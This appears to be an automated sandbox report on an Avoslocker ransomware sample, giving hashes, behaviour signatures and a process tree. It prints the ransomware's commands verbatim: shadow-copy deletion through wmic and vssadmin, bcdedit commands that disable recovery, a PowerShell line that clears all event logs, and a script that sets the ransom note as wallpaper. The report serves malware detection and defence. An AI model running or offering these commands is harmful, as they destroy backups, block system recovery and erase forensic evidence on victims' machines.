Overview

overview

10

Static

static

3

sex.exe

windows7-x64

10

sex.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-12-2024 00:23

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General

  • Target

    sex.exe

  • Size

    3.2MB

  • MD5

    9e85a92de58c89babecf27e74f85d3f4

  • SHA1

    d955b86d566325a2ac8960b45c2cf336ddac4717

  • SHA256

    4b0f1abf2abfd7a9a291425227844bf98b3aa0ac499268b52f69f297bda90839

  • SHA512

    84e094d097ed6ac187d7d301d6a772ca59cfebc829e63cca70685d7176111a3afbad4ff4908932b0ec436a34a302fd53a4fce97aeda126796daab5b130fc72d9

  • SSDEEP

    24576:8SUpZr3y2amHY6MdefqTXeZty61kSSTKa7WsUS2VSs+stModjGdbzfDUBB355zs/:oZat81wua7bUScTLTXO+2NwL5ljasaU

Score
10/10
avoslockerdefense_evasiondiscoveryevasionexecutionimpactransomwaretrojanupx

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Avoslocker family
    avoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (8493) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 17 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\sex.exe
    "C:\Users\Admin\AppData\Local\Temp\sex.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      "C:\Users\Admin\AppData\Local\Temp\hack.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3996
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2552
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3816
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4976
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:34216
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2072
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:34208
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:34224
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:56576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:15276
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1240431291.png /f
          4⤵
          • Sets desktop wallpaper using registry
          PID:15800
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
          4⤵
            PID:16044
      • C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe
        "C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe"
        2⤵
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Checks SCSI registry key(s)
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2020
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:3580
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:20396
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:56696
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
        1⤵
          PID:58692
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
          1⤵
            PID:58704

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\GET_YOUR_FILES_BACK.txt
            Filesize

            1011B

            MD5

            c92c2b70fb37f84aab38412ad9226aa8

            SHA1

            14f2e9a83285612d0a7b2c83b8f89bccfde6c154

            SHA256

            d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

            SHA512

            04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            6cf293cb4d80be23433eecf74ddb5503

            SHA1

            24fe4752df102c2ef492954d6b046cb5512ad408

            SHA256

            b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

            SHA512

            0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

            Download Submit

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            64B

            MD5

            eb6332ae9e8fec69c2236355e2638f9d

            SHA1

            71500d57fb304979afd6756f06d4b9a59f995eb7

            SHA256

            88e5ffe18fd4a772efce68f1b0db839846cafc42d36415508ad5356a44d38f32

            SHA512

            e87c864ba79bd7a10a62b55ad564cf3acb090e7d85707a6967497deeef5fcde1f0b4608ea8791bf81363ec583a0101d470d8f3cd2172ced8d4071d7f6c674aed

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          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4hc0werr.mym.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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          • C:\Users\Admin\AppData\Local\Temp\hack.exe
            Filesize

            807KB

            MD5

            e27b5291c8fb2dfdeb7f16bb6851df5e

            SHA1

            40207f83b601cd60905c1f807ac0889c80dfe33f

            SHA256

            ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

            SHA512

            2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

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          • C:\Users\Admin\AppData\Local\Temp\rufus-4.6p.exe
            Filesize

            1.5MB

            MD5

            8fe64da09af371b02a31828415ece8f3

            SHA1

            5b5c90dcd425c814b555a4567405601aa977ee0b

            SHA256

            8279696c1d78b14618500e9135886a3667b9decc65946f3729002e4bfdbb20ab

            SHA512

            e49f9b1c9d33364101ad2fd4f2c5ed030700cc941bb469cf2ce7d5b32c51cab9e62b265e05cbd92435453e7e4008c9990bea532298676f7d81e5d6dcdc2f590b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\rufus.ini
            Filesize

            41B

            MD5

            fab74762270479d39894febedd009358

            SHA1

            04399f760160d846d1ed807b924f9a513cf0630a

            SHA256

            826c428347b5975358f4d35c5b5b8597fbf76cb0b7ee8e819f5d2c750c82fe21

            SHA512

            db25f94479eab36037c47ef23f48f8aec68d840cb954e4b9da7d94d7732fee6e2d161c33532717d1d11a6bdf89b99ab75d32460721785ad451454d94a3a6a715

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          • C:\Users\Admin\AppData\Local\Temp\rufus.ini
            Filesize

            67B

            MD5

            e2417c84551e35c780e8214fcc50a1e2

            SHA1

            8c8bb68690a473f8043f755716131c63a1be306d

            SHA256

            613dc13705d16f1788087d48db1de98e1152dc6a9960548872c5cb4adedcd9b8

            SHA512

            1ef0d47eb11c656b3bd3aafb8acd488e3f3082528e1f976c18e7532b3bf04b4a6130f5e10ad5e02226e12a416e9231cadd17c816f712d4e533e5254bd47d7a11

            Download Submit

          • memory/2020-22726-0x00007FF7B2D20000-0x00007FF7B318E000-memory.dmp

            Filesize

            4.4MB

            Download

          • memory/2020-22727-0x00007FF7B2D20000-0x00007FF7B318E000-memory.dmp

            Filesize

            4.4MB

            Download

          • memory/2020-9-0x00007FF7B2D20000-0x00007FF7B318E000-memory.dmp

            Filesize

            4.4MB

            Download

          • memory/2020-22757-0x00007FF7B2D20000-0x00007FF7B318E000-memory.dmp

            Filesize

            4.4MB

            Download

          • memory/2020-22760-0x00007FF7B2D20000-0x00007FF7B318E000-memory.dmp

            Filesize

            4.4MB

            Download

          • memory/2244-8-0x00007FF6FE6C0000-0x00007FF6FE9F0000-memory.dmp

            Filesize

            3.2MB

            Download

          • memory/15276-22756-0x00000163E5850000-0x00000163E5A6C000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/56576-17691-0x0000021266C10000-0x0000021266C32000-memory.dmp

            Filesize

            136KB

            Download